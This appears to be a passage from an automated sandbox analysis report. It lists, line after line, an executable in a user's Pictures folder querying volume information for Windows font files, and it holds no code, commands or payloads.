Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
